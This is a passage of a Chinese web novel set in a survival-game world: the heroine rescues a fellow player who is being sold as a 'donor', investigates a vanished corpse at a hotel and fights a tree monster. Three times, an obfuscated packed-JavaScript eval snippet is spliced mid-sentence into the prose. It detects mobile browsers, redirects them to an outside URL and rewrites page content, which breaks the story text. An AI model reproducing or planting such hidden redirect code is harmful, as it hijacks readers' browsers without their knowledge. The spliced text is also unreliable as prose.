“净土法规特殊，每个人都会有一个身份识别芯片，绑定着自己的账户。居住证是每个净土原住民出生就有的通行证。然而一旦触犯法规，就会被扣除信誉点，信誉点归零或变负，就会被吊销居住证，没有居住证的人群，一旦进入公共生活领域会被自动识别并上报维安部门，维安部门会对此进行抓捕。并且这部分人不受保护，哪怕有人对他们进行交易买卖，曙光中心也不会进行干涉。” “就像刚才那个人一样？” 她忽然意识到，‘身穿’的玩家在这里是没有居住证的‘黑户’，而‘魂穿’的玩家，也有可能面临着居住证被吊销的情况。 “没错。” “维安部门抓到这些黑户会怎样处理？” 璩双微微皱眉，破天荒露出了思索的表情：“一般会充当实验体。我记得很久之前出现过几个不知道从哪冒出来的人，系统里丝毫没有记录，但诡异的是这些人的污染能量都非常低，就像是从未在这里生活过一样。 当时我们为了研究他们身上是不是出现了什么抗体，就抓了几个带入医疗部进行研究，不过令人失望的是，把他放置在高污染环境下很快就变成了遗落之骸，我们只好将其击杀了。” 至此，游戏世界的残酷面貌在寻茵面前如此清晰地铺陈开来。 7. 曙光中心5 “对了，”寻茵想起什么，“我看新闻发现最近有一个污染区从C变A，吞了一个村落是怎么回事？” “近十年内全区污染指标都在上涨，我们甚至推测，两个相近污染区之间会‘繁育’——比如两个C级污染区交融，极有可能生成B级以上污染区，这种‘进化’的污染区，往往也伴随着新的遗落之骸产生。” “这么说那个A级污染区就是两个污染区‘繁育’产生的？” “暂时我们是这样推测。特别行动部已经派遣小队进行探查，就是你即将任职的一队。等他们回来之后，我们会有更准确的判断。” 像是想起什么，璩双忽然道： “……说起来，我就是在这个污染区附近找到你的。” 寻茵心底咯噔一跳，面上反应自然，问道： “是吗，丰和村还是古堰村？” 就在她严阵以待，揣测对方的回答时，璩双意味深长地移开视线，道：“不记得了。” 寻茵：“……” 好在，刘毅的检测报告出的很快，打破了这种凝滞的尴尬。 刘毅照常被绑着，只是眼眶上多了一圈淤青，看起来像被人狠狠地揍了一拳。 “这污染指标……”璩双拿着污染报告，双眼微微眯起。 “怎么了？”男人紧张地上前一步，看样子生怕着报告出现什么问题，影响刘毅卖出的价格。 “没什么问题。只是污染指标与精神能量团之间有一点冲突，但既然是供体，到时候全面净化就可以了，只不过这样子他的个人意识就会消失。” 路易斯的意识消失，那刘毅的意识还能存在吗？ 寻茵思索着。 璩双继续道：“完整供体的价格最多能给到十万，但是路易斯的体质说不上好，基因也并不稀有，污染值尽管在范围内也并不算低。” “那您的意思是……？” “最多给到八万。” “哎呦，”男人苦着脸，“您不然再加点吧，这孙子可是欠了我们二十万，我这拿回去八万，真不知道要怎么跟其他人交代啊。” “欠债的是路易斯，不是曙光中心，”璩双露出一个冷笑，“如果觉得价格不合适，你可以去‘黑市’。” 男人脸色一变，几经反复，扯开一个难堪的笑：“您这说的哪里话，我们可都是本分人啊，违法乱纪的事我不干。这样，八万就八万。” 言毕，他狠狠地瞪了刘毅一眼，似乎在嫌弃他不争气，无法让自己卖出一个好价格。 不过寻茵对璩双口中的黑市很感兴趣，等男人走后，她好奇问道：“黑市？” “净土的人员组成比较复杂，总会给很多人浑水摸鱼、蔑视法规的可能。不管是人口买卖、器官牟利，还是市面上被禁止的药剂，只有你想不到，没有黑市买不到的。有需求就会有市场，因此黑市总是屡禁不止，而行动部门也看在尚未触及底线的程度下对此睁一只眼闭一只眼。” “什么底线？” 璩双眼中寒光一闪而过：“背叛。只有背叛净土，是绝不允许的。” 寻茵闻言，瞳孔闪了闪，问道：“……对了，这个供体应该怎么处理？” “对于这种整个的供体来说，我们一般会选择整体净化之后再进行拆分，并放入冷柜之中进行保存，等待合适的买主选取供体。” “但是我买他是为了作为你的教具。也就是说，接下来，我要教你怎么解剖他。” 寻茵一怔。 现在，刘毅的生死与她彻底绑上关系，救，还是不救，这是个两难的选择。 如果选择救下刘毅，很可能寻茵会因此被怀疑，而她也无法得知自己救下的人会不会冷不丁捅她一刀； 如果放弃刘毅，任由他作为自己的教具被解剖，寻茵至少不会因为这件事引起怀疑，但同样，她也得不到新线索。 这是一场冒险。 刘毅是她遇到的第一个同阵营玩家，非同阵营玩家却一次性遇到了五个，这意味着很有可能她这边阵营的玩家都是孤狼，且人数少。 那么刘毅的存在就至关重要——至少，他作为明面上的靶子，足以让寻茵冒险救他一命。 经过判断，寻茵认为刘毅存活能比死亡为她带来更多利益。 她要救他。 既然决定要救他，怎么救，怎么不引起怀疑地救？ 作为白乾，如果想让他活下来，她会选择怎样的方法？ ——再生胚体！ 没错。寻茵之前一直没将再生胚体纳入考量的原因是，她并不了解这种东西，就像她也不了解这个世界，因此时常容易被他人带着走。 但白乾没有这个考量。 作为研究员，这是她最容易想到的东西。 那么怎样不引起怀疑？ “我忽然想到一件事，”寻茵开口，“再生胚体的数据报告应该不多吧？” “是基本没有。”璩双纠正她。 “我想在路易斯身上做一个实验。” “用再生胚体？” 迎着璩双幽深的目光，寻茵淡定自若地点点头。 “但我记得在再生胚体只在未完全死亡状态下起作用吧，那你的教具……” “这两件事可以同时进行。” “你的意思是，解剖他之后，再在他身上使用再生胚体？” “没错。直接在人体上进行实验，是最容易看到成果和数据的。” “那你也应该知道，个体实验数据只能作为参考，这个头一旦打开，之后的实验就需要无数人。”璩双眉头微微蹙起。 “想要最快达成研究结果，这是最好的方法。况且，再生胚体是成品，只不过还没来得临床。”寻茵来不及思索，后半句话几乎是脱口而出。 但很快，她就将这怪异的地方忽略，因为她现在的全部精力都用在说服璩双身上。 “真够疯狂……不过，曙光中心最欢迎疯子。我接受你的提议，但这件事需要投票，不是我一个人能决定的。解剖教学暂时延至三天后，今天先由天屿带你，你可以先去行动部门找她。” 寻茵点头，不经意间瞥了刘毅一眼，他的嘴巴依旧被团布塞着，双眼泛红，布满血丝。他对上寻茵的眼睛。 但寻茵很快就毫不在意地掠过他，然而就在寻茵跨出璩双办公室的下一秒，光幕再度出现在她面前。 【恭喜您！成功救下同阵营玩家并解锁自己的阵营：人偶。】 【特殊任务（已激活）：作为介于人偶和游戏生命之间的阵营，您可以选择暴露身份，选择帮助任何一方，改变人偶处境；也可以隐瞒身份，成为中立一方，旁观、甚至挑起争端。但请牢记，作为拥有异世界身份的人偶，只有现实世界才是本我。一旦身份暴露，您或将面临各方追杀。】 【阵营玩法已解锁！杀死一名人类玩家，您可以得到对方的全部财富并获得‘面具’一次。拥有‘面具’，您可以任意更改检测道具的检测结果。】 【阵营任务：躲避人类玩家的追杀。请牢记你们并非同伴。】 【进阶任务：杀死一名人类玩家。】 寻茵双目微凝，抬头看了眼指示牌，抬脚向洗手间走去。 躲进私密的小空间，寻茵反锁上门。 深深呼出一口气，她点进光屏上的阵营栏。 瞬间，光屏被三个图案占据，按顺序分别是：手持利剑、身披铠甲的骑士；一个被分成两半，半面是白色哭脸，半面是漆黑笑脸的面具；一个拥有蛇头、章鱼足、熊掌，嘴巴位置是一朵巨型食人花的四不像怪物，环抱着一把剑。 很显然，骑士、面具、怪物分别对应人类、人偶、游戏世界居民。 图案地下方，诡异地挂着则几个字符： 239（±），8（±），+∞ 这些数字有可能代表什么？ 几乎是一种诡异的直觉——人数。 如果以人数看，目前进入这个游戏的玩家共有247人，其中八名人偶玩家，另外239人都是人类玩家。 那数字后面的符号，无疑代指人数的波动。 如果玩家遵照阵营玩法玩游戏，互相怀疑、互相厮杀，必然有胜者和败者存在。 人偶杀死人类能够获得伪装机会一次，那么人类杀死人偶呢？会不会也有伪装的可能？ 基于这一猜想做出推断，两方阵营的人数可能会减少会不变，唯独不可能增 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“未来酒店住户0751被‘灰鼠’偷盗，于凌晨五点失手杀死‘灰鼠’，目前未来酒店已经备案，这件事因该怎么处理？” “灰鼠？我记得他身上背了不少盗窃案，这回这么倒霉。既然是‘黑户’，不用在意，只要未来酒店把尸体完整放进回收中心就行了。” “是。还有……” 等所有事情汇报完，寻茵已经坐了半个小时。 天屿签完最后一个字，终于将眼神放在寻茵身上。 “这么早？我记得你应该下午才过来。” “发生了点意外，这三天我都先跟你。” “行动部大体方向分为分特别行动部和维安部，特别行动部主要负责污染区相关，维安部则负责城内城外安全稳定。一队过一段时间就回来了，这段时间你可以先跟我熟悉维安部的事宜。” 寻茵懂了，维安部差不多就相当于现实世界的公安机构，寻茵非常熟悉这套流程。 别问，问就是最了解一个人的，只有她的对手。 “对了，”寻茵认为自己还是有必要说一下，尤其是她亲耳听到自己案子的情况下，“未来酒店的案子，0751的住户是我。” 天屿只惊讶了一瞬，又道：“那我果然没有看错人，栽在你手上，看来灰鼠死的不冤。和我详细说说事情经过吧。” 寻茵简单将事情经过告知天屿，天屿若有所思，指节富有节奏感地敲击着桌面。 就在她刚准备说些什么，敲门声打断了她，方才汇报的人走进来：“部长，未来酒店的尸体不见了。” 寻茵闻言，下意识看向天屿，而这时，天屿也看向她。 天屿眉梢微挑，露出个似笑非笑的表情：“看来有人不想让事情这么轻松揭过。” 她转头看向女人：“未来酒店方的人来了吗？” 汇报消息的人点点头:“来了，您要见一见吗？” 天屿看着寻茵，笑道：“不着急，阑珊。我要先提审0751住户。” “那我去将她带来……” “不用了，她现在就在这里。” 寻茵：“……” 沈阑珊：“……？” 意识到什么，沈阑珊将目光转向寻茵，好在她有良好素养，很快就接受同事变罪犯的事实，波澜不惊地翻开手上的文件夹： “记录准备就绪。” 8. 曙光中心6 “详细说明一下事情经过。” “早上五点半我起床，在客厅里发现灰鼠，正好撞见他在翻我的包。” “早上五点半，你把时间记得这么清楚？”天屿挑眉。 寻茵没什么表情：“我有早起看时间的习惯。但我的包防盗等级比较高，用的是生物锁，灰鼠难以破解。而这个时候我恰好跟他面对面碰上，他起初试图狡辩自己是酒店工作人员，被我拆穿之后打算痛下杀手，但被我成功反杀。” “这个时间你有注意到是几点钟吗？” “没注意。不过在检查完房间之后，我给酒店前台打了电话，告知这件事，电话应该有时间记录。之后酒店派一个戴口罩的保洁人员进来打扫卫生，顺便将灰鼠的尸体运走。当我吃完早饭时，保洁将我的早餐收走并离开房间的时间是7：35，保洁离开不久后，我也离开房间。” “我们需要检测你背包上的生物信息，没问题吧？”天屿站了起来，她在自己的工位上挑挑拣拣，找出几张纸，在上面写了几个字后递给沈阑珊，“生物痕迹检测申请，一会记得提交。” 寻茵点了点头，毕竟现在她也没有拒绝的权力。 “好了，就到这里吧。接下来我们去看一下未来酒店怎么说。” 天屿接过沈阑珊的记录，确认没问题后在上面签了字。 我们？ 寻茵看她：“也包括我吗？” “当然。别忘了你还在学习期。”天屿百忙之中看了寻茵一眼。 “除开当事人这层身份，现在，你还是我的学生。” “走吧，老师带你去熟悉一下之后要做的事。” 寻茵对这种‘师生关系’不予评价，只是心情有些微妙。 由于寻茵之前就将背包带来曙光中心，因此她在沈阑珊的监督下取完背包送进痕检科后，天屿已经走进了审讯室。 审讯室里的墙带有一种金属制感，看起来颇为压抑。门边有一面单向玻璃，从外向里可以清晰看见审讯室内的情形。 这个视角能让寻茵对天屿的审讯对象一览无余。 天屿的对面坐着一个身穿西装制服的女人，年纪大约在三十岁上下，通过二人之间的表情观察可以发现，里面的氛围应当十分友好。 果然，不过十分钟，天屿从审讯室走了出来，女人跟在她身后。 天屿看向寻茵：“你来了。灰鼠回收的损失，由未来酒店方负责补偿，但未来酒店要求查清尸体消失这件事。所以接下来我们会去未来酒店实地看看。” 女人看着寻茵，镜框下的双眼微微眯起：“这位……难道就是酒店0751号住户？” “你认识我？” 女人笑了笑：“我是未来酒店的临时负责人，会记住酒店近一个月入住的客户资料，以保障她们享受到最好的服务。实在抱歉，对于这件事对您造成的影响，以及为了感谢您为我们酒店挽回名誉及损失，您的费用未来酒店会全额返回您的账户，并向您提供免费升房服务。” 这服务态度，这补偿方式，虽然酒店的安保值得诟病，但这么一看好像也不意外能做大做强。 “这件事你们还是之后再详聊吧，现在就麻烦安经理带我们去酒店配合调查。”璩双挥挥手，催促道。 安夕拾点头：“当然，这边请。” 寻茵不着痕迹地观察安夕拾的举动，安夕拾的身上有一种愿意让人听她说话的魔力。 她绝对是个非常厉害的谈判对象。 几人到达酒店，安夕拾先是让人开了最高规格的包厢，将寻茵等人安置下来，之后又站在不远不近，刚好能让寻茵等人听见具体内容的距离。 这样可以确认安夕拾没有说多余的话。 很快，一排穿着酒店制服的女性排成长队走了进来，寻茵端起桌子上的茶水，眯着眼在人群中找人。 “这里是早上值班的前台和保洁，0751房打电话时负责接听的人是谁？” 安夕拾在询问时，浑身的气场远不像她在曙光中心那么温和。 一个人迟疑着站了出来：“是我。” “报你的工号。” “工号A13，负责早上七点至十一点期间6-10楼的前台电话。” “很好，告诉我，接到0751电话之后，你做了什么安排？” “我接到0751告知灰鼠死亡的信息之后，第一时间上报，并通知保洁部派人打扫，保洁部派遣工号C09员工在我这登记，并应客户要求准备早餐。” “C09出列。” C09战战兢兢走了出来，她面色发白，明明是适宜的温度，额上却飘着层虚汗。 安夕拾没看她，反倒转向寻茵：“请您辨认一下，为您负责保洁的是她吗？” 寻茵站了起来，走到C09面前，她的眉目和脑中戴口罩的半张脸重合，又渐渐分开。 不是她。 寻茵摇头，再一次掠过所有人的脸，将她们的长相进行重叠，然而一无所获。 她看向安夕拾：“这里没有那个人。” “我记得你说过，那人带着口罩，你能通过眉眼就认出来吗？”天屿坐在沙发，她撑着半张脸，悠闲地观察着寻茵。 寻茵不清楚白乾行不行，但对她而言，现实世界干的副业会要求她记住所有细节，并保证短期之内不会遗忘。 当然这话不适合说给天屿，因此寻茵只道：“如果你在一天内接收大量数字，你的记忆力也能得到提升。” “好吧，”天屿轻笑，“我还以为研究员只对数字敏感，但容易脸盲呢，看来也有意外。” 寻茵没理会天屿的打趣，重新再C09面前站定。 “既然不是你打扫卫生，告诉我，那个人是谁？” C09瞪大眼，掌心紧张地颤抖：“真、真的是我，您是不是认错了？” “是吗？我问她为什么戴口罩的时候，她说她感冒了，你也感冒了吗？” 感冒，当然没有！ 但C09低着头，下意识咬着下唇。 “为什么不愿意说，”寻茵看向安夕拾，玩笑道：“难道代班还有什么惩罚机制吗？” 安夕拾扬起职业性的笑容，扫在C09身上的眼神却格外冷淡：“当然，如果是正常换班，酒店方不会进行干涉。但既然您在今天的就职人员中没有发现熟悉的面孔，就说明她的换班不合规。” “原来是这样，既然她不愿意说，我也就不勉强了。麻烦给我准备一下排班名单——近段时间内提出离职的人员也需要。” “当然。”安夕拾看着C09，警告道：“自己说出来和被查出来完全是两回事，你自己考虑好。” C09抬头，却没有看安夕拾，而是盯着寻茵：“……如果我说出来，可以不要惩罚我吗？” 寻茵还没说话，安夕拾便接过话：“你的直系领导是我，惩罚由我决定。” 这句话看起来让她崩溃了。 “是，我是让莉兹帮我打扫了，但这又不犯法，而且这是莉兹自愿的！我也没有偷懒，只是中途腹痛让她帮我替了一下班而已，我会还的！” 安夕拾看着她：“莉兹请假了，她怎么会来酒店？你确定自己说的是真话吗？” “当然！莉兹……对19号看见了！”然而当她扯住19号的衣袖，想要让她帮忙证明自己所言非虚时，却被人轻轻扯开。 19号低下头，不去看她的脸。她不愿意帮09证明。 “谁知道是不是你强迫莉兹……你总是让她帮你干活，但从没还过。” 不知是谁小声说了这么一句话。 安夕拾没有干涉，她只是看着寻茵，说出自己的了解：“莉兹的工号是C07，不知道你有没有记下那人的工号？” 寻茵摇头：“不，那个人的衣服上没有工号牌。但你可以将莉兹的照片给我辨认。” 很快，莉兹的员工资料被摆在寻茵面前。 “是她。”寻茵看着照片点头，确认莉兹就是那个打扫0751号房间的人。 天屿盯着一行字，缓缓念出声：“克拉德街146号……” “怎么？” 敏锐察觉到天屿不同寻常的态度，寻茵疑惑。 天屿指尖点了点住址栏边上的那行字：“这条街是中心城最复杂混乱的地方。这里的人鱼龙混杂，三教九流，只有生活贫困的人才会在这附近聚集……如果我没记错，未来酒店的工资应该不低吧？至少它的员工不会是需要住在这里的程度。” 安夕拾忽然开口：“莉兹很需要钱。她有一个妹妹，为了治病，每个月都需要非常多的能量点。可惜这个病没办法根治，她妹妹的病情仍在不断恶化。因此莉兹时常会预支工资。为了赚钱，她也很少请假。” 寻茵眉梢微动：“既然很少请假，那你们不会感觉奇怪吗？” “不，尽管很少请假，但并不是不会请，她偶尔也会用各种借口回去陪妹妹。而且……最近莉兹脸上的笑容比以往多，我认为是她妹妹的病情有所好转。” 寻茵摇头：“还有一点很奇怪，如果是为了回去陪妹妹，又为什么要忽然回酒店，就算是漏了什么东西，下次上班再带回来不就好了，究竟是什么东西促使她今天必须回酒店？又为什么，被她打扫之后，灰鼠的尸体就不见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237604|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 她忽然道：“……还是说，她的目的就是灰鼠的尸体？灰鼠的尸体有什么特别的地方吗？” 几人不语，均陷入思索。 天屿拍拍手，笑眯眯道：“那我们接下来去找一下莉兹不就知道了？” 安夕拾看向二人：“既然如此，我就不多打扰了，这里还有需要我的地方，期待二位的好消息。” 之后，安夕拾将寻茵的住宿费传入她的账户，寻茵踏出未来酒店时，正看见天屿打电话，更准确来说，实在单方面下达指令。 寻茵出来时，这通电话刚好已至尾声。 五分钟后，寻茵就知道天屿打这通电话的目的是什么。 一辆纯黑的车出现在二人眼前，天屿熟练地拉开车门，冲寻茵偏头：“上车。” 当寻茵坐上这两低调又奢华的座驾，她忍不住咋舌：“这得多少……” 沈阑珊从后视镜看她一眼：“不多，大概五十万能量点。” 寻茵·刚入帐1500就笑得像250·穷鬼：“……” 她悻悻收回手。 天屿看得好笑：“这有什么，你加入特别行动部之后只会比我们还富，特别行动部靠实力，你杀死多少多强的污染物，就能得到相应的能量点。我记得遗落之骸的兑换率是A级10w，B级1w，C级1k，D级100。” “没有更高级吗？”寻茵好奇道。 “当然有，只不过A级以上的核心，已经不是能够用能量点来估值的了。” “有价无市。” “没错。” 寻茵忽然想到一个问题：“那我昨天的战斗杀掉的A级食尸鬼……？” “那只食尸鬼的实力和能量被净化过，应该只有B级的实力，虽然遗落之骸还是A级，但核心只有A级一半的污染能量。” 抱着不死心的态度，寻茵眼巴巴询问：“……那值多少？” “或许5w？” 寻茵不语，只是一味地心疼。她现在浑身上下加起来也摸不出5k。 然而……价值5w的能量点就这么被触手一口……吞了…… 扯出一个比哭还难看的笑，寻茵安慰自己：没关系，反正等自己进了污染区，成为富婆指日可待。 当然这时寻茵永远不会想到，自己以后会因为触手眼睛还有某非到极致开出来的东西吃到破产。 偶尔也会感慨，穷，是一种宿命。 一路闲聊，很快就到克拉德街附近。 沈阑珊在附近停下车，天屿下车，准备走进克拉德街。 克拉德街与寻茵印象中那种破败的街道并不一样，至少看起来和周边并没有什么太大差别，除了这的建筑看起来更有年代以外。 而且，还有很重要的一点就是，克拉德街很宽，也就是说，车是能开进来的。 “你想问为什么不把车开进来？” 天屿问道，寻茵立即点头，她看向沈阑珊：“阑珊，你告诉她。” “如果把车开进来，等我们调查完出来之后，我的车估计连轮胎都不会剩下。” 寻茵：“……” 她对这里的混乱刷新认知。 “到了。”二人站在移动陈旧的小房子面前，这栋房子像是一条分界线，将克拉德街分成泾渭分明的两片区域。 以莉兹的房子为首，再往里的房子统一是灰土墙和瓦房。 “这也太……” “我还以为你已经习惯阶级了。”天屿站在莉兹房前，莫名道。 “什么？” “用基因霸权划分阶级，这不是绿洲的传统吗？” 被这么冷不丁提到不熟悉的情况，一般人可能瞬间就会愣住。 不过寻茵自然地耸耸肩：“或许。但阶级之上还有阶级，要这么算下来就没完没了了。至少我现在已经不算绿洲人了。” “看起来你不喜欢阶级。不过我记得，你应该是基因里最顶尖的那一层，叫什么来自？” “诺亚。”寻茵轻轻说道。 她看着眼前木制的，已经开始腐烂生虫的大门，忽然道：“基因霸权不过是一种统治工具，而我最讨厌的就是变成工具。” “站在门口高谈阔论是一种非常引人注目的事，如果我确认你们并没有在克拉德街供人观赏的想法，那么我们还是赶紧敲门吧。” 沈阑珊无奈地打断二人突如其来的探讨，试图将话题引回正途，好在她成功了。 寻茵敲了敲，门砰砰响，震动带起墙灰像雪一样簌簌落下。 ……没有反应。 三人面色一变，对视一眼。 没人？ 9. 曙光中心7 三人沉默地看着眼前一幕。 莉兹的尸体倒在门边，她的眼睛瞪得大大的，几乎要突出来，瞳孔已经扩散，白皙的脖颈间一条红线格外瞩目，面上还有尚未消失的疑惑，因死亡被永远固定在脸上。 寻茵几乎不难想象，凶手是在敲门之后引得莉兹前去开门，然而她绝不可能想得到，门口的人目的是为了取她性命。 恐惧尚未出现，凶手就用刀就轻飘飘地夺走她的生命。 寻茵冷静的看了尸体一眼，她对这种尸体再熟悉不过。 凶手的手法极度专业，干净利落，为了杀人而杀人。对这种人来说，杀一个人和宰一只鸡鸭没任何区别。 她不再关注尸体，将目光落在周围。 莉兹的家实在昏暗，寻茵并不想用这种词语来形容——比起温馨的家，或许说是一个地窖更合适。一盏丝毫不起作用的灯挂在头顶，昏黄的光透过蛛丝的缝隙，无法照亮这个房间的任何一个角落。 进门是一张圆圆的矮桌，桌腿还少了一截，下面垫着几块砖头才保持平衡，右侧是一个做饭的灶台，台面上积了层很厚的灰，看起来很久没开火。 天屿和沈阑珊在对莉兹的尸体进行简单尸检，寻茵向里间的小房间走去。 一张狭窄得几乎只躺的下一个人的小床占据着这个房间的绝大部分空间，床边的地上铺着垫子，看起来就是二人睡觉的地方。 诡异的是，小床上摆着一捧树枝。 然而当寻茵再走进些才发现，这并非什么树枝，而是寻茵遍寻不得的，莉兹的妹妹！ 小孩的尸体几乎完全被枝条覆盖，看起来完全变成这堆绿叶的养料。 理智警告她最好不要去动这具尸体。 然而就在她一步步后退，终于拉住小门把手时，她忽然意识到一个问题。 从外间进里间，她记得这里根本没有门。 就在瞬间，她握着的门把变成枯枝，下一刻就要从背后刺穿她的心脏！ 寻茵眼神一厉，触手瞬间出现，将枯枝拍成两截。 与此同时她就地一滚，耳畔树枝带起的风迅疾得几乎要割伤肌肤。 心跳在不断加速，寻茵能感受到肾上腺素不断激增，兴奋先于恐惧在她脑海中占据上风。 周围的环境已经完全不是那个而狭窄的空间。 这里布满白雾，空气中带着一种泥土的腥气，闻起来反倒像是某种原始森林。 白雾遮蔽着她的视线，于是寻茵闭上眼睛，选择听风的声音。 她看不见，前方的雾气渐渐变黑，人形的树干和枝条扭曲地挥舞。 她听得见，呼呼的风声从面门拍过，而她后撤下腰，再度躲过。 枝条从四面八方涌来，似乎要将寻茵圈成一个球。 退无可退。 所以寻茵不准备退，她睁开眼，触手的{锋利}{坚硬}两项特质生效，它成为寻茵手中无往不利的剑，破开困住她的樊笼。 伴随着怪物的尖叫，寻茵终于看清眼前的怪物是什么——它的树干是人类的躯体，而作为人类部分的头发、四肢，已经成为枝条和根系。 寻茵勉强从那张脸中认出，这就是莉兹的妹妹——尽管不知道因为什么变成了遗落之骸。 如果可以，她不希望杀死对方，否则线索就会断在这里。 但在天屿的补课过程中她得知，对付遗落之骸由两种办法，一种是直接取出它的核心，这种方法会使遗落之骸最快丧失攻击能力，最终慢慢死去；另一种方法不推荐，消耗核心中的全部能量，可使遗落之骸陷入休眠。 只是人力终有尽时，至少只她一个人，很难困住遗落之骸——不，还有一种可能。 寻茵在天屿给的资料里看到过，部分遗落之骸具有一定意识，也就是说他们会有像人类一样布置‘陷阱’为自己捕猎，就比如一种叫‘哭叫花’的遗落之骸，它们的哭声具有致幻作用，每当有猎物接近，它们就会发出声音引诱猎物。 而这种声音停在人耳中会是‘当时最期望听见的声音’。 ……跑题了。也就是说，如果树怪能将全部力量用在一击上呢？ 而寻茵只需要躲过这一击，就不用杀死对方。 寻茵忽然站定，露出一个欠揍的表情：“来呀，这么温柔是在给我挠痒痒吗？谢谢你哦，你人真好。” 树枝的力道、速度都比刚在上升一个level，这招有用！ 也就是说，眼前的遗落之骸听得懂话，具备一定的意识！ 惊喜过后，一阵刺痛在颈侧缓缓浮现。 寻茵指尖一抹，一点鲜红。 她受伤了。 不过下一瞬这伤口就消失不见。 这意味这她最好比刚才更小心。 “是比刚才要强那么一点点，不过只有这么点能力吗？” 树怪发出一声怪叫，枝条横扫过来！ 寻茵迅速躲开，但仍被树叶刮开腰上的衣服。 这些树叶变得像刀片一样锋利。 而寻茵不再关注伤口，开始专心拉仇恨——它会好的，或快或慢。 几番挑衅，树怪终于被寻茵彻底激怒，像刚才一样避无可避的枝条从四面八方袭来，而这一次，每一根枝条上都倾注它的力量，这个枝条是绝对无法破坏的囚笼。 眼见那个讨厌的人类终于被完全包裹进去，树怪便迫不及待地宣泄着自己最后的力量，将里面的人类绞成一堆残渣。 它得意地舒展枝条，然而它预想中——笼里的残骸却只剩下空气。 “我也太能拉仇恨了，啧啧，不愧是我。” 不远处女声传来，树怪慢慢抬头，那个讨厌的人类就站在不远处，可是它已经没有能力将那张讨厌的脸撕烂。 刚才那一击，倾泻了它的全部力量与怒火。 遍布白雾的空间像是电脑屏幕上的雪花格纹一样，慢慢坍塌，露出了小房间灰暗的模样。 躺在小床上的一团树枝叶片泛黄，看起来比之前显得更加枯败。 寻茵吞下涌到喉咙里的腥甜，手臂上的眼睛开始出现一种刺骨的疼痛。 ——她用九瞳中思维控制的能力影响树怪，在树怪的战斗中让自己受伤、流血，达成【身上有血迹的是白乾】这一控制条件，随后在触手委屈的叫唤下斩断一节，并将自己的血涂到那截替身的触手上。 随即控制树怪的意识，让它绞杀了认定是寻茵的触手。 除去今天的梦，这还是寻茵第一次在游戏世界使用眼睛的能力。不清楚是不是梦里有过使用经验，她的使用丝毫没有任何阻塞。 只不过不清楚这树怪是什么等级的遗落之骸，寻茵控制它颇为吃力，因此能力使用过度。 话说回来，她也验证了自己身上这诡异的再生能力没办法治愈能力使用过度造成的虚空。 脑子里乱糟糟地浮现出各种想法，当天屿和沈阑珊焦急的脸在她头顶出现——寻茵才意识到自己原来躺在地上。 原来能力使用过度会连脑子也一起透支吗？ …… 当寻茵再度睁开眼，头顶是明亮的白色天花板。 “醒了？还记得自己叫什么吗？” 寻茵：“……”她应该不是伤到脑子吧，为什么天屿要用这种看傻子的眼神看她？ “怎么？你没傻吗？” “应该没有吧……？” 听着这不确定的语调，天屿气笑了：“没傻你为什么要用消耗核心的方式去战斗？我给你的资料难道比别人少了‘不建议采用第二种方法’吗？” 寻茵还没被人用这种语气训过，回过神来就要辩解：“……但是杀了它线索不是断了吗？” “线索断了就断了，难道有什么比你自己还重要吗？” “我是判断自己有用第二种方法的能力才这么做的，我比谁都珍惜自己的命。” 她只是不在乎受伤和疼痛，但命绝不在这一范畴。 “还是白乾研究员好本事，能一个人单挑准A级且拥有领域的遗落之骸——我不管你怎么想，但在我带你期间绝不允许出现这种做法。” 这太阴阳怪气了。 寻茵张了张嘴，想说什么。 她实在不懂对方为什么生气，既成功保下线索，她自己也没死，甚至在战斗过程中提高了自己的战斗能力——这难道不是一件一举多得的好事吗？ 为什么对方要表现出这样的愤怒，还是说这是某种关心？ 怀抱这样困惑的心情，她看着天屿走出自己的病房。 沈阑珊在天屿之后走进来：“不好意思，我们部长是关心你，她很讨厌那种为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237605|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了集体利益应该献出自己一切的想法，认为这不过来自于集体规训个体的手段——早年就有部长的好友为此丧命。” 说完，她递给寻茵一份纸质文件：“在你进入里间没多久后，莉兹的家就被魂木，也就是你对付的遗落之骸领域笼罩，我们被排斥出来。等领域消失后，我们在里间发现躺在地上的你，之后你因为能量枯竭陷入昏迷。我们将你和魂木寄体带回曙光中心，这里是魂木的报告和你的健康检测报告。” 沈阑珊说完，寻茵默默开口：“……领域是什么？” 随后寻茵发现沈阑珊面上的表情凝固了：“《遗落物处理百科》第197页，你没看过吗？” 寻茵想了想，最终肯定道：“我看到155页。” “……” 沈阑珊深吸一口气，露出一个微笑：“没问题，那我就给你科普一下领域。领域是遗落之骸的特殊能力，并不是每种遗落之骸都存在领域，通常需要A级以上。部分特殊的遗落之骸出于自身天赋，同样拥有领域。领域是遗落之骸能力的拓展，假设一种遗落之骸的能力是致幻，那么当你踏入其领域很可能就会陷入对方为你制造的幻境——领域的存在难以判断，部分好辩认的领域可能会与之前出现的场景出现差异，但也可能丝毫没有区别。” 